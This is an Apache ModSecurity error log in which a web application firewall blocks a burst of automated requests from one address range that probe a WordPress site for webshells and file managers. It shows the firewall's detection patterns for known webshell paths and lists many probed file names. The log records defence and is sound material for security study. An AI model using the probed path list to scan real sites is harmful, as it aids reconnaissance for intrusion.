[Mon May 25 23:12:11.029916 2026] [:error] [pid 3698:tid 3716] [client 194.5.82.7:38259] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/"] [unique_id "ahRmywtZBEwA4fyFLKMJdgAAARA"]
[Mon May 25 23:12:11.272881 2026] [:error] [pid 62427:tid 62460] [client 194.5.82.4:54813] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/users.php"] [unique_id "ahRmy_MUa83fc4GDyByPsgAAAUM"]
[Mon May 25 23:12:11.490288 2026] [:error] [pid 62427:tid 62464] [client 194.5.82.4:54051] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php"] [unique_id "ahRmy_MUa83fc4GDyByPtQAAAUc"]
[Mon May 25 23:12:11.703870 2026] [:error] [pid 62427:tid 62466] [client 194.5.82.11:45095] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/speculative8.php"] [unique_id "ahRmy_MUa83fc4GDyByPtgAAAUk"]
[Mon May 25 23:12:11.914371 2026] [:error] [pid 62427:tid 62470] [client 194.5.82.6:53441] [client 194.5.82.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "ahRmy_MUa83fc4GDyByPtwAAAU0"]
[Mon May 25 23:12:12.128745 2026] [:error] [pid 3698:tid 3708] [client 194.5.82.43:59303] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "ahRmzAtZBEwA4fyFLKMJewAAAQg"]
[Mon May 25 23:12:12.602954 2026] [:error] [pid 53791:tid 53815] [client 194.5.82.47:60651] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ahRmzCCRhhNTD40Nf1U3pwAAAZY"]
[Mon May 25 23:12:12.922561 2026] [:error] [pid 62515:tid 62528] [client 194.5.82.45:38045] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/classwithtostring.php"] [unique_id "ahRmzBig0_XsOwmnrv9olQAAAMs"]
[Mon May 25 23:12:13.168701 2026] [:error] [pid 3698:tid 3700] [client 194.5.82.12:56431] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/item.php"] [unique_id "ahRmzQtZBEwA4fyFLKMJfgAAAQA"]
[Mon May 25 23:12:13.385975 2026] [:error] [pid 3698:tid 3721] [client 194.5.82.50:46641] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/admin.php"] [unique_id "ahRmzQtZBEwA4fyFLKMJfwAAARU"]
[Mon May 25 23:12:13.598399 2026] [:error] [pid 62515:tid 62529] [client 194.5.82.7:28303] [client 194.5.82.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "ahRmzRig0_XsOwmnrv9omQAAAMw"]
[Mon May 25 23:12:13.808680 2026] [:error] [pid 3698:tid 3717] [client 194.5.82.20:34799] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "ahRmzQtZBEwA4fyFLKMJgAAAARE"]
[Mon May 25 23:12:14.020778 2026] [:error] [pid 53791:tid 53801] [client 194.5.82.20:54447] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/edit-tags.php"] [unique_id "ahRmziCRhhNTD40Nf1U3qgAAAYg"]
[Mon May 25 23:12:14.240539 2026] [:error] [pid 53791:tid 53808] [client 194.5.82.25:64559] [client 194.5.82.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/404.php"] [unique_id "ahRmziCRhhNTD40Nf1U3qwAAAY8"]
[Mon May 25 23:12:14.488202 2026] [:error] [pid 3698:tid 3715] [client 194.5.82.51:57501] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "ahRmzgtZBEwA4fyFLKMJgwAAAQ8"]
[Mon May 25 23:12:14.702249 2026] [:error] [pid 62427:tid 62474] [client 194.5.82.23:64009] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/updates.php"] [unique_id "ahRmzvMUa83fc4GDyByPuwAAAVE"]
[Mon May 25 23:12:14.913297 2026] [:error] [pid 62427:tid 62478] [client 194.5.82.53:26947] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "ahRmzvMUa83fc4GDyByPvAAAAVU"]
[Mon May 25 23:12:15.132784 2026] [:error] [pid 62427:tid 62459] [client 194.5.82.13:61263] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "ahRmz_MUa83fc4GDyByPvQAAAUI"]
[Mon May 25 23:12:15.367740 2026] [:error] [pid 62427:tid 62481] [client 194.5.82.23:29717] [client 194.5.82.23] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahRmz_MUa83fc4GDyByPwAAAAVg"]
[Mon May 25 23:12:15.588595 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.4:28663] [client 194.5.82.4] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "ahRmzxig0_XsOwmnrv9onAAAAMg"]
[Mon May 25 23:12:15.806703 2026] [:error] [pid 3698:tid 3713] [client 194.5.82.49:20769] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/languages/plugins/"] [unique_id "ahRmzwtZBEwA4fyFLKMJhgAAAQ0"]
[Mon May 25 23:12:16.018021 2026] [:error] [pid 62428:tid 62495] [client 194.5.82.36:30987] [client 194.5.82.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/mah.php"] [unique_id "ahRm0JNosGBa7mui3VR7VwAAAIs"]
[Mon May 25 23:12:16.270203 2026] [:error] [pid 62428:tid 62507] [client 194.5.82.39:21481] [client 194.5.82.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "ahRm0JNosGBa7mui3VR7WAAAAJc"]
[Mon May 25 23:12:16.484722 2026] [:error] [pid 53791:tid 53812] [client 194.5.82.165:57459] [client 194.5.82.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/"] [unique_id "ahRm0CCRhhNTD40Nf1U3sgAAAZM"]
[Mon May 25 23:12:16.703173 2026] [:error] [pid 62427:tid 62480] [client 194.5.82.27:53069] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/"] [unique_id "ahRm0PMUa83fc4GDyByPwQAAAVc"]
[Mon May 25 23:12:16.915194 2026] [:error] [pid 62426:tid 62444] [client 194.5.82.14:57109] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/twentytwentyone/content-index.php"] [unique_id "ahRm0Ej3D3Mo8ANpTRAzMwAAAA4"]
[Mon May 25 23:12:17.127719 2026] [:error] [pid 3698:tid 3704] [client 194.5.82.27:45089] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/ssss/src.php"] [unique_id "ahRm0QtZBEwA4fyFLKMJhwAAAQQ"]
[Mon May 25 23:12:17.376129 2026] [:error] [pid 53791:tid 53795] [client 194.5.82.48:35097] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/admin.php"] [unique_id "ahRm0SCRhhNTD40Nf1U3tAAAAYI"]
[Mon May 25 23:12:17.590590 2026] [:error] [pid 3698:tid 3717] [client 194.5.82.15:32881] [client 194.5.82.15] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/radio.php"] [unique_id "ahRm0QtZBEwA4fyFLKMJiAAAARE"]
[Mon May 25 23:12:17.802260 2026] [:error] [pid 53791:tid 53800] [client 194.5.82.26:46789] [client 194.5.82.26] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "ahRm0SCRhhNTD40Nf1U3twAAAYc"]
[Mon May 25 23:12:18.012668 2026] [:error] [pid 53791:tid 53799] [client 194.5.82.43:36849] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/images/"] [unique_id "ahRm0iCRhhNTD40Nf1U3ugAAAYY"]
[Mon May 25 23:12:18.226166 2026] [:error] [pid 62515:tid 62521] [client 194.5.82.5:62885] [client 194.5.82.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "ahRm0hig0_XsOwmnrv9ooAAAAMQ"]
[Mon May 25 23:12:18.615318 2026] [:error] [pid 3698:tid 3702] [client 194.5.82.48:24117] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files/"] [unique_id "ahRm0gtZBEwA4fyFLKMJiQAAAQI"]
[Mon May 25 23:12:18.879735 2026] [:error] [pid 62722:tid 62742] [client 194.5.82.46:62127] [client 194.5.82.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/theme-compat/"] [unique_id "ahRm0qM6ssnLWYf6CVBfPQAAAFI"]
[Mon May 25 23:12:19.309878 2026] [:error] [pid 62515:tid 62541] [client 194.5.82.16:35805] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/404.php"] [unique_id "ahRm0xig0_XsOwmnrv9oogAAANg"]
[Mon May 25 23:12:19.522122 2026] [:error] [pid 62426:tid 62452] [client 194.5.82.49:20917] [client 194.5.82.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/index/function.php"] [unique_id "ahRm00j3D3Mo8ANpTRAzOAAAABY"]
[Mon May 25 23:12:19.733106 2026] [:error] [pid 62426:tid 62453] [client 194.5.82.13:51485] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/admin/"] [unique_id "ahRm00j3D3Mo8ANpTRAzOQAAABc"]
[Mon May 25 23:12:19.967632 2026] [:error] [pid 62426:tid 62440] [client 194.5.82.14:27433] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ahRm00j3D3Mo8ANpTRAzOwAAAAo"]
[Mon May 25 23:12:20.203858 2026] [:error] [pid 3698:tid 3716] [client 194.5.82.14:22359] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "ahRm1AtZBEwA4fyFLKMJiwAAARA"]
[Mon May 25 23:12:20.415866 2026] [:error] [pid 3698:tid 3713] [client 194.5.82.20:47297] [client 194.5.82.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "ahRm1AtZBEwA4fyFLKMJjAAAAQ0"]
[Mon May 25 23:12:20.627941 2026] [:error] [pid 53791:tid 53805] [client 194.5.82.19:38477] [client 194.5.82.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "ahRm1CCRhhNTD40Nf1U3wAAAAYw"]
[Mon May 25 23:12:20.876955 2026] [:error] [pid 3698:tid 3707] [client 194.5.82.8:52235] [client 194.5.82.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/"] [unique_id "ahRm1AtZBEwA4fyFLKMJjgAAAQc"]
[Mon May 25 23:12:21.088431 2026] [:error] [pid 62426:tid 62439] [client 194.5.82.38:22001] [client 194.5.82.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/x.php"] [unique_id "ahRm1Uj3D3Mo8ANpTRAzPAAAAAk"]
[Mon May 25 23:12:21.300440 2026] [:error] [pid 62428:tid 62500] [client 194.5.82.16:37341] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/"] [unique_id "ahRm1ZNosGBa7mui3VR7XQAAAJA"]
[Mon May 25 23:12:21.514012 2026] [:error] [pid 62427:tid 62471] [client 194.5.82.37:55921] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/"] [unique_id "ahRm1fMUa83fc4GDyByPxQAAAU4"]
[Mon May 25 23:12:21.729997 2026] [:error] [pid 53791:tid 53795] [client 194.5.82.35:29617] [client 194.5.82.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/fukasawa/inc/classes/403.php"] [unique_id "ahRm1SCRhhNTD40Nf1U3wwAAAYI"]
[Mon May 25 23:12:21.973993 2026] [:error] [pid 3698:tid 3710] [client 194.5.82.30:36677] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/config.php"] [unique_id "ahRm1QtZBEwA4fyFLKMJjwAAAQo"]
[Mon May 25 23:12:22.189617 2026] [:error] [pid 62515:tid 62532] [client 194.5.82.48:36203] [client 194.5.82.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/"] [unique_id "ahRm1hig0_XsOwmnrv9oqQAAAM8"]
[Mon May 25 23:12:22.401290 2026] [:error] [pid 62515:tid 62525] [client 194.5.82.12:54665] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hello.php"] [unique_id "ahRm1hig0_XsOwmnrv9oqgAAAMg"]
[Mon May 25 23:12:22.614399 2026] [:error] [pid 62426:tid 62454] [client 194.5.82.16:56363] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/system.php"] [unique_id "ahRm1kj3D3Mo8ANpTRAzQAAAABg"]
[Mon May 25 23:12:22.827249 2026] [:error] [pid 62515:tid 62538] [client 194.5.82.45:39755] [client 194.5.82.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/"] [unique_id "ahRm1hig0_XsOwmnrv9orAAAANU"]
[Mon May 25 23:12:23.073553 2026] [:error] [pid 62515:tid 62523] [client 194.5.82.11:54877] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/.well-known/"] [unique_id "ahRm1xig0_XsOwmnrv9orgAAAMY"]
[Mon May 25 23:12:23.288356 2026] [:error] [pid 62515:tid 62522] [client 194.5.82.51:33085] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "ahRm1xig0_XsOwmnrv9osAAAAMU"]
[Mon May 25 23:12:23.498586 2026] [:error] [pid 53791:tid 53811] [client 194.5.82.16:50523] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/components/"] [unique_id "ahRm1yCRhhNTD40Nf1U3xgAAAZI"]
